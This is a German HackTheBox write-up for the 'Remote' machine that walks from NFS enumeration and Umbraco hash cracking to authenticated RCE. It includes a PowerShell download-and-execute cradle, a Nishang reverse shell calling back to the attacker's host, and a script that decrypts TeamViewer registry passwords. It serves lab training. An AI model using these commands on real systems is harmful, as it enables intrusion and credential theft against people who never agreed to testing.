> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Remote HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* Web-Aufzählung
* NFS-Aufzählung - Showmount
* Informationsleck
* Missbrauch des Umbraco-Admin-Panels
* Umbraco CMS - Remotecodeausführung durch authentifizierte Administratoren
* Beschaffung des TeamViewer-Passworts aus der Systemregistrierung (AES128 - CBC) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/92e010562fb19d56793a3c1cfa37cb937d39e702" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/4eaebceaedbd504eebc4aa2c690f11ad19348375" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**/ Offene Ports auflisten und die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis exportieren:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="/files/2b68bf07b7f0182e068ea88f0c3ece1ae5b04362" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mit der extractport-Funktion offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<figure><img src="/files/035d13bdafdfd7154826ad12e78680f85e1cf397" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap :**/ Nmap verwenden, um Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="/files/b32e29d7c0d67d6b31a0c25dd12fbbb0070221db" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/29ad60204ce725d84627814710c9ed31b1a2d592" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei

<figure><img src="/files/2599734b2308d2cb6cf944a0bab27ca229337c8f" alt="" width="563"><figcaption></figcaption></figure>

### Web (Port 80):

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="/files/8730cd0310adb5773cec5fc3d683f0652cb2c6b1" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/2e19cd89e4bfa7065fe0b697f4a7e5090ecc53df" alt=""><figcaption></figcaption></figure>

### SMB - Port 445

Liste **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="/files/a5ea05a39ef81e3b4ebc9f3fd11fa48fe6068678" alt=""><figcaption></figcaption></figure></div>

### **SMB-Client (Null-Session) :**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="/files/8ed00d0ff65f182e8367c6a04abc6432c1ad19dd" alt=""><figcaption></figcaption></figure>

### Anonymes FTP (21)

Wir haben die Möglichkeit, uns mit dem anonymen Benutzer per FTP zu verbinden, aber wir können weder Dateien auflisten noch hinzufügen.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="/files/5995c4342a50b9fa2cb2362f979e1826312f525c" alt=""><figcaption></figcaption></figure>

## NFS-Dienst (Port 2049)

{% hint style="info" %}
Das Network File System (NFS) ist ein Protokoll auf OSI-Anwendungsebene. Es wird verwendet, um Dateisysteme in einem lokalen Netzwerk zu verteilen und verschiedenen verbundenen Systemen den Zugriff auf entfernte Dateien zu ermöglichen, als wären sie lokal.
{% endhint %}

Um die Dateien aufzulisten mit `mount`:

```bash
showmount -e 10.10.10.180
```

Wir sehen ein `/site_backups` das von allen eingesehen werden kann.

<figure><img src="/files/bb8456996c069d669c1e51a570819f116f20bd9d" alt="" width="563"><figcaption></figcaption></figure>

Um diese Datei zu importieren, müssen Sie ein Verzeichnis erstellen und es wie folgt auf unserer Maschine einbinden:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="/files/b111427fe2cc87d17192ff8d8b9baab6e645da29" alt=""><figcaption></figcaption></figure>

Mit `tree`, wir werden alle Ordner im Verzeichnis auflisten, um uns einen Überblick zu verschaffen:

```
tree -L 2
```

Wir sehen ein `.config` Konfiguration und `sdf` Ordner aus der Umbraco-Datenbank (einem CMS) von Port 80.

<figure><img src="/files/d0f0fd327810ae75343a511304d32362eda0707b" alt=""><figcaption></figcaption></figure>

Das `.conf` Datei enthält nichts Interessantes, und die `umbraco.sdf` ist eine Binärdatei.

<figure><img src="/files/4932a6db5fced62acdbea4521add8a8e65ec5b07" alt=""><figcaption></figcaption></figure>

Wir werden `strings` verwenden, um die sichtbaren Zeichen anzuzeigen und sie für eine detaillierte Analyse in unserem Verzeichnis abzulegen:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

Wir finden Passwörter für "admin" und einen Benutzer "smith".

<figure><img src="/files/b36427801180515010a6137d4b894e5e81a05702" alt=""><figcaption></figcaption></figure>

### Passwort-Knacken:

Admin (Hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/4b140f7874e6a5d236df2dc4deaf82fd2bef7b5d" alt=""><figcaption></figcaption></figure>

Admin: `baconandcheese`

#### Da SMB erreichbar ist, verwenden Sie CrackMapExec, um sich zu authentifizieren und den Zugriff zu überprüfen

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### keine Wirkung

<figure><img src="/files/552ab4b4872d6452f0117c8873a6861680c1857c" alt=""><figcaption></figcaption></figure>

## RCE-Schwachstelle (Umbraco CMS)

Wir finden ein Administrationspanel und versuchen die Authentifizierung des Admin-Benutzers:

`admin@htb.local:baconandcheese`

<figure><img src="/files/4912fe6fc9031fd7394c0954f227d1d47a55c41f" alt=""><figcaption></figcaption></figure>

Wir haben Zugriff.

<figure><img src="/files/ee981b33fe673fd0158e56082dccfc0b8052f9c3" alt=""><figcaption></figcaption></figure>

Wir werden suchen `Searchsploit` nach den Schwachstellen dieses CMS suchen und ein NCE-Skript für Umbraco finden.

<figure><img src="/files/eec1038cf1a3c3bbcf7a765ddd74ebe26f56217d" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Wir werden im Skript die Login-, Passwort- und Host-Einstellungen ändern.

<figure><img src="/files/34e4d699d8ec6f6b181e3f4c55615772f77798d4" alt="" width="563"><figcaption></figcaption></figure>

**Konnektivität mit ping prüfen:**/ Wir werden diesen Befehl auf dem Server ausführen, und wir werden mit tcpdump lauschen

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/0af57283b938a28570071ef067135d4c82c1634a" alt=""><figcaption></figcaption></figure>

Sobald wir sehen, dass wir Befehle ausführen können, werden wir das `PS.ps1` Skript auf unseren Rechner herunterladen.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Am Ende des Skripts fügen wir die folgende Zeile hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/95c78ae9849fdbc1b82d0775b95735a896e33bea" alt="" width="563"><figcaption></figcaption></figure>

Wir werden mit dem `PS.ps1` Skript:

```bash
python3 -m http.server 80
```

Dann werden wir den Befehl so ändern, dass er auf unseren Webserver verweist:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Schließlich lauschen wir auf Port 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/8327054c624144ead29994ef02584ae90cf3f6a0" alt=""><figcaption></figcaption></figure></div>

Zugriff auf `user.txt` Datei und stellen fest, dass TeamViewer installiert ist

<figure><img src="/files/f40bfcbb41fdc31a1b3298dc13beaae3a0dda1af" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation:

Wenn Sie sich die laufenden Aufgaben ansehen, können Sie TeamViewer Version 7 sehen.

```powershell
tasklist /svc
```

<figure><img src="/files/cdd861e550f7bb8e28fe48ff3cbb6f3b63304286" alt=""><figcaption></figcaption></figure>

Bei der Suche in den Metasploit-Skripten finden wir eines, das das Passwort von TeamViewer auslesen kann:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="/files/9ce6464fd931a2bfc09b95e500eccf2b7f394495" alt=""><figcaption></figcaption></figure>

Bei der Analyse des Skripts müssen Sie zuerst den Schlüssel (je nach Version) aus der Registry holen:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

Anschließend sollten die Sicherheitseigenschaften untersucht werden, insbesondere das AES-Passwort:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/08d2bf33fef673696e81fdc337a75cb17e5c82f7" alt=""><figcaption></figcaption></figure>

Fügen Sie die folgenden Bytes in `ciphertext`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Python-Automatisierungsskript:

Hier ist das Skript, das den gesamten Prozess automatisiert:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="/files/d1c36bd692b0b37b7d74819348f425ecf724c798" alt=""><figcaption></figcaption></figure>

Das Passwort ist `!R3m0te!`.

Wir werden mit CrackMapExec überprüfen, ob das Passwort für den Benutzer korrekt ist `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="/files/c2b1bc820c01e0694b6ba94e4913fe72af39dbc3" alt=""><figcaption></figcaption></figure>

Wir verbinden uns mit Evil-WinRM, da der entfernte Windows-Administrationsdienst auf Port 5985 aktiv ist:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="/files/2adc5f84f8e2989722e58b537d3454ce67111bb0" alt=""><figcaption></figcaption></figure>

### Root-Flagge zum Schluss :)

<figure><img src="/files/c2500b1d9f25b1745827b4ffad29bf9e0342af7b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eb25c51c4ba5bce8a48e059025751b40eaee4006" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
